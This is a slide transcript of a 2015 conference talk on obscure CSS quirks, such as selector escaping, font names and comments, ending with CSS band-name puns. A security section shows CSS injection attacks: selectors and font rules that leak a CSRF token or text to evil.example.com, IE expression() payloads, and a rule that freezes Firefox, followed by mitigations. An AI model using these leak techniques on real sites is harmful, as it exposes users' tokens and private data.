3.14 things I didn’t know about CSS @ CSSConf.asia 2015

This talk showcases a series of obscure CSS fun facts, such as CSS syntax gimmicks and quirks, weird tricks that involve CSS in one way or another, and security vulnerabilities that are enabled by (ab)using CSS in unexpected ways.

Video: https://www.youtube.com/watch?v=KPL-mA77bDo

Transcript

1. @mathias · #devfestasia
   3.14 things I didn’t
   know about CSS
   

   View Slide

2. @mathias
   

   View Slide

3. !important
   

   View Slide

4. !important
   .foo .bar {
   color: red;
   }
   .bar {
   color: green;
   }
   

   View Slide

5. mths.be/bsh
   

   View Slide

6. .foo .bar {
   color: red;
   }
   .bar {
   color: green !important;
   }
   !important
   

   View Slide

7. mths.be/bsh
   

   View Slide

8. .foo .bar {
   color: red;
   }
   .bar {
   color: green !important;
   }
   !important
   

   View Slide

9. .foo .bar {
   color: red;
   }
   .bar {
   color: green !important;
   }
   !important
   ✘
   

   View Slide

10. .foo .bar {
    color: red;
    }
    .bar.bar.bar.bar.bar.bar.bar.bar {
    color: green;
    }
    New !important best practice
    ✔
    * not really
    *
    

    View Slide

11. mths.be/bsh
    

    View Slide

12. Font family names
    

    View Slide

13. Font family names in CSS
    html {

    font-family: 'Comic Sans MS';

    }
    “If there’s whitespace in the font family name,
    it must be quoted.”
    

    View Slide

14. Font family names in CSS
    html {

    font-family: Comic Sans MS;

    }
    “If there’s whitespace in the font family name,
    it must be quoted.”
    mths.be/bft
    

    View Slide

15. Font family names in CSS
    html {

    font-family: 456bereastreet;

    }
    

    View Slide

16. Font family names in CSS
    html {

    font-family: 456bereastreet;

    }
    

    View Slide

17. Font family names in CSS
    html {

    font-family: \34 56bereastreet;

    }
    

    View Slide

18. Font family names in CSS
    html {

    font-family: \34 56bereastreet;

    }
    

    View Slide

19. Font family names in CSS
    html {

    font-family: '456bereastreet';

    }
    

    View Slide

20. mths.be/bjm
    

    View Slide

21. Attribute values
    

    View Slide

22. Attribute values
    …
    <br/>a[href="foo"] {<br/>background: hotpink;<br/>}<br/>
    

    View Slide

23. Unquoted attribute values
    …
    <br/>a[href=foo] {<br/>background: hotpink;<br/>}<br/>
    

    View Slide

24. Unquoted attribute values
    …
    <br/>a[href=foo|bar] {<br/>background: hotpink;<br/>}<br/>
    

    View Slide

25. Unquoted attribute values
    …
    <br/>a[href=foo|bar] {<br/>background: hotpink;<br/>}<br/>
    

    View Slide

26. Unquoted attribute values
    …
    <br/>a[href="foo|bar"] {<br/>background: hotpink;<br/>}<br/>
    

    View Slide

27. Unquoted attribute values
    mths.be/bjn
    

    View Slide

28. CSS comments
    

    View Slide

29. CSS comments
    .some-selector {
    background: hotpink;
    /*color: red;*/
    text-align: center;
    }
    

    View Slide

30. CSS comments
    .some-selector {
    background: hotpink;
    /*color: red;*/
    text-align: center;
    }
    ✔
    

    View Slide

31. CSS comments
    .some-selector {
    background: hotpink;
    //color: red;
    text-align: center;
    }
    

    View Slide

32. CSS comments
    .some-selector {
    background: hotpink;
    //color: red;
    text-align: center;
    }
    ✘
    

    View Slide

33. CSS comments
    .some-selector {
    background: hotpink;
    //color: red;
    text-align: center;
    }
    ✔
    mths.be/brz
    

    View Slide

34. .some-selector {
    background: hotpink;
    colour: red;
    text-align: center;
    }
    CSS comments
    mths.be/brz
    

    View Slide

35. .some-selector {
    background: hotpink;
    colour: red;
    text-align: center;
    }
    CSS comments
    mths.be/brz
    

    View Slide

36. .some-selector {
    background: hotpink;
    colour: red;
    text-align: center;
    }
    CSS comments
    mths.be/brz
    

    View Slide

37. .some-selector {
    background: hotpink;
    colour: red;
    text-align: center;
    }
    ✔
    CSS comments
    mths.be/brz
    

    View Slide

38. mths.be/brz
    

    View Slide

39. HTML tags
    

    View Slide

40. Valid HTML
    

    

    

    Foo

    

    

    …

    

    
    

    View Slide

41. Valid HTML
    

    

    

    Foo

    

    

    …

    

    
    

    View Slide

42. Valid HTML
    

    

    

    Huh?

    

    …

    

    View Slide

43. Valid HTML
    

    

    

    Huh?

    

    …

    

    View Slide

44. Valid HTML
    

    lolwut

    …

    

    View Slide

45. View Slide

46. Using CSS without
    HTML
    

    View Slide

47. “No JS”
    
    mths.be/bsf
    

    View Slide

48. mths.be/bsf
    

    View Slide

49. View Slide

50. View Slide

51. $ curl -i https://mathiasbynens.be/demo/css-without-html
    HTTP/1.1 200 OK
    Date: Fri, 06 Nov 2015 13:33:37 GMT
    Link: ;rel=stylesheet
    Content-Length: 0
    Content-Type: text/html; charset=UTF-8
    CSS without HTML
    mths.be/bpe
    

    View Slide

52. $ curl -i https://mathiasbynens.be/demo/css-without-html
    HTTP/1.1 200 OK
    Date: Fri, 06 Nov 2015 13:33:37 GMT
    Link: ;rel=stylesheet
    Content-Length: 0
    Content-Type: text/html; charset=UTF-8
    CSS without HTML
    mths.be/bpe
    

    View Slide

53. View Slide

54. mths.be/bsb
    

    View Slide

55. U̶̓̄̈̄̉
    ̦ ̖̫̖̻
    nẛ̥ḯ ͎͈̪
    ̇͋cͯ̃̂̀̉
    ̲̰̝
    oͥ͢ ̮̠͈͍̱
    d̃ͨͫ
    ̤̻͉̞
    ȩ̭̟̳̳̪͈
    ̔͑̃ ̐ͣ̓͊
    ͈̬̘̹͙̙
    i ͥ̈́ͮ͛͒
    ̨ ̻nͩ̉̅̈́̇̒͑
    ̼̥̦̣ ̭̙̹
    ̇ͮͥͭ̇͌
    ̠Cͤ̋ͯ̑̏̈́ͥ
    ͍̦ ̯̠̘͎
    Sͥ͊̔̋
    ̞̣ ̜̪̲̗
    Sͧ̊ ͛
    ̮̞
    

    View Slide

56. Classes and IDs in HTML
    …
    legalese
    HTML 4 lyfe, homes!
    LOL
    …
    Warning: …
    Outdated browser detected.
    mths.be/afd
    

    View Slide

57. Classes and IDs in HTML
    Good luck styling me!
    heh
    huh
    wat
    mths.be/afd
    

    View Slide

58. mths.be/bsc
    

    View Slide

59. Escaping CSS selectors
    #\#id { }
    .\.class { }
    
    #\#id\.class\:hover\{\} { }
    #\#id\.class\3A hover\{\} { }
    .\[attr\=\'value\'\] { }
    #\34 04-error { }
    

    View Slide

60. Escaping CSS selectors
    
    #© { }
    #\A9 { }
    
    .♥ { }
    .\2665 { }
    
    #“” { }
    #\201C \201D { }
    
    ." { }
    .\1F4A9 { }
    

    View Slide

61. Escaping CSS selectors
    mths.be/bsd
    

    View Slide

62. mths.be/bpo
    

    View Slide

63. mths.be/cssescape
    

    View Slide

64. Escaping CSS selectors
    var id = location.hash.slice(1);
    var $el = $('#' + id);
    // …
    mths.be/cssescape
    

    View Slide

65. Escaping CSS selectors
    var id = location.hash.slice(1);
    var $el = $('#' + id);
    // …
    var $a = $('a[href="' + someValue + '"]');
    // …
    mths.be/cssescape
    

    View Slide

66. Escaping CSS selectors
    var id = location.hash.slice(1);
    var $el = $('#' + id);
    // …
    var $a = $('a[href="' + someValue + '"]');
    // …
    mths.be/cssescape
    ✘
    

    View Slide

67. Escaping CSS selectors
    var id = location.hash.slice(1);
    var $el = $('#' + CSS.escape(id));
    // …
    var $a = $('a[href="' + CSS.escape(someValue) + '"]');
    // …
    mths.be/cssescape
    ✔
    

    View Slide

68. Using CSS for #evil$
    

    View Slide

69. XSS
    

    View Slide

70. mths.be/bry
    

    View Slide

71. Injection contexts
    <br/>p { color: <%= USER_COLOR %>; }<br/>
    
    Hello !
    View your account.
    
    <br/>window.userID = <%= USER_ID %>;<br/>
    
    

    View Slide

72. What’s the worst you can do if
    you have control over a page’s
    CSS?
    

    View Slide

73. <br/>p { color: <%= USER_COLOR %>; }<br/>
    
    Hello !
    View your account.
    
    <br/>window.userID = <%= USER_ID %>;<br/>
    
    Injection contexts
    

    View Slide

74. <br/>p { color: <%= USER_COLOR %>; }<br/>
    
    Hello !
    View your account.
    
    <br/>window.userID = <%= USER_ID %>;<br/>
    
    Injection contexts
    

    View Slide

75. View Slide

76. View Slide

77. View Slide

78. View Slide

79. View Slide

80. View Slide

81. View Slide

82. View Slide

83. View Slide

84. View Slide

85. View Slide

86. name="csrf-token"
    id="csrf"
    value="abcdef…">
    Stealing data from the DOM
    mths.be/bsj
    

    View Slide

87. #csrf[value^="a"] {
    background: url(//evil.example.com/?v=a);
    }
    #csrf[value^="b"] {
    background: url(//evil.example.com/?v=b);
    }
    #csrf[value^="c"] {
    background: url(//evil.example.com/?v=c);
    }
    /* … */
    Leaking an attribute value
    mths.be/bsj
    

    View Slide

88. mths.be/bsj
    

    View Slide

89. mths.be/bsj
    

    View Slide

90. abcdefg
    Stealing data from the DOM
    mths.be/bsj
    

    View Slide

91. @font-face {
    font-family: h4x0r;
    src: url(//evil.example.com/?v=A);
    unicode-range: U+0041;
    }
    #sensitive-information {
    font-family: h4x0r;
    }
    Leaking unique symbols from a text node
    mths.be/bup
    

    View Slide

92. mths.be/buo
    

    View Slide

93. <br/>#myDiv {<br/>background: hotpink;<br/>position: absolute;<br/>left: expression(<br/>document.body.clientWidth / 2 -<br/>myDiv.offsetWidth / 2);<br/>top: expression(<br/>document.body.clientHeight / 2 -<br/>myDiv.offsetHeight / 2);<br/>}<br/>
    Lorem ipsum
    CSS Expressions in IE ≤ 7
    mths.be/brw
    

    View Slide

94. <br/>#myDiv {<br/>background: hotpink;<br/>position: absolute;<br/>left: expression(<br/>document.body.clientWidth / 2 -<br/>myDiv.offsetWidth / 2);<br/>top: expression(<br/>document.body.clientHeight / 2 -<br/>myDiv.offsetHeight / 2);<br/>}<br/>
    Lorem ipsum
    CSS Expressions in IE ≤ 7
    mths.be/brw
    

    View Slide

95. * {
    width: expression(
    alert('XSS through CSS')
    );
    }
    CSS Expressions in IE ≤ 7
    mths.be/brw
    

    View Slide

96. View Slide

97. * {
    width: expression(
    window.open('//evil.example.com/')
    );
    }
    CSS Expressions in IE ≤ 7
    mths.be/brw
    

    View Slide

98. View Slide

99. View Slide

100. content="IE=Edge">
     IE’s legacy document modes
     mths.be/brx
     

     View Slide

101. content="IE=7">
     IE’s legacy document modes
     mths.be/brx
     

     View Slide

102. 
     <br/>#myDiv {<br/>background: hotpink;<br/>position: absolute;<br/>left: expression(<br/>document.body.clientWidth / 2 -<br/>myDiv.offsetWidth / 2);<br/>top: expression(<br/>document.body.clientHeight / 2 -<br/>myDiv.offsetHeight / 2);<br/>}<br/>
     Lorem ipsum
     CSS Expressions in IE ≤ 10
     mths.be/brx
     

     View Slide

103. content="IE=7">
     
     
     CSS Expressions in IE ≤ 10
     mths.be/bpu
     

     View Slide

104. 1. sanitize user input before injecting it in a
     CSS context

     2. disallow framing using the HTTP header

     X-Frame-Options: DENY

     3. use
     How to avoid CSS expression
     vulnerabilities?
     mths.be/bpu
     

     View Slide

105. 1. sanitize user input before injecting it in a
     CSS context

     2. disallow framing using the HTTP header

     X-Frame-Options: DENY

     3. use
     How to avoid CSS expression
     vulnerabilities?
     mths.be/bpu
     

     View Slide

106. * {
     background: url('javascript:while(true){}');
     }
     Freezing Firefox
     mths.be/bsa
     

     View Slide

107. mths.be/brs
     

     View Slide

108. mths.be/brs
     

     View Slide

109. One More Thing™
     #cssbandnames
     

     View Slide

110. kbd {
     color: black;
     }
     What band is this?
     #cssbandnames
     

     View Slide

111. kbd {
     color: black;
     }
     What band is this?
     The Black Keys
     #cssbandnames
     

     View Slide

112. The Black Keys
     

     View Slide

113. :root {
     background: #f00;
     }
     What band is this?
     #cssbandnames
     

     View Slide

114. :root {
     background: #f00;
     }
     What band is this?
     Simply Red
     #cssbandnames
     

     View Slide

115. Simply Red
     

     View Slide

116. head {
     display: block;
     content: '\1F4FB ';
     }
     What band is this?
     #cssbandnames
     

     View Slide

117. head {
     display: block;
     content: '\1F4FB ';
     }
     What band is this?
     %head
     #cssbandnames
     

     View Slide

118. Radiohead
     

     View Slide

119. hr {
     height: 1px;
     border: 0;
     background: hsl(0, 0%, 100%);
     }
     What band is this?
     #cssbandnames
     

     View Slide

120. hr {
     height: 1px;
     border: 0;
     background: hsl(0, 0%, 100%);
     }
     What band is this?
     The White Stripes
     #cssbandnames
     

     View Slide

121. The White Stripes
     

     View Slide

122. .red-door {
     background-image: url(red-door.jpg);
     background-blend-mode: multiply;
     background-color: #000;
     }
     What song is this?
     

     View Slide

123. .red-door {
     background-image: url(red-door.jpg);
     background-blend-mode: multiply;
     background-color: #000;
     }
     What song is this?
     Paint It Black
     by
     The Rolling Stones
     

     View Slide

124. The Rolling Stones
     

     View Slide

125. input[type="date"] {
     color: rgb(0, 255, 0);
     }
     What band is this?
     #cssbandnames
     

     View Slide

126. input[type="date"] {
     color: rgb(0, 255, 0);
     }
     What band is this?
     Green Day
     #cssbandnames
     

     View Slide

127. Green Day
     

     View Slide

128. ed, emacs, nano, vi {
     font-family: monospace;
     }
     What band is this?
     #cssbandnames
     

     View Slide

129. ed, emacs, nano, vi {
     font-family: monospace;
     }
     What band is this?
     Editors
     #cssbandnames
     

     View Slide

130. Editors
     

     View Slide

131. p i {
     color: black;
     }
     What band is this?
     #cssbandnames
     

     View Slide

132. p i {
     color: black;
     }
     What band is this?
     The Black ’d s
     #cssbandnames
     

     View Slide

133. The Black ’d s
     

     View Slide

134. Thanks to:
     Simon Pieters
     Tab Atkins
     Martin Kool
     Mario Heiderich
     Frederik Braun
     Mike West
     Divya Manian
     Masato Kinugawa
     

     View Slide

135. Thanks!
     @mathias
     

     View Slide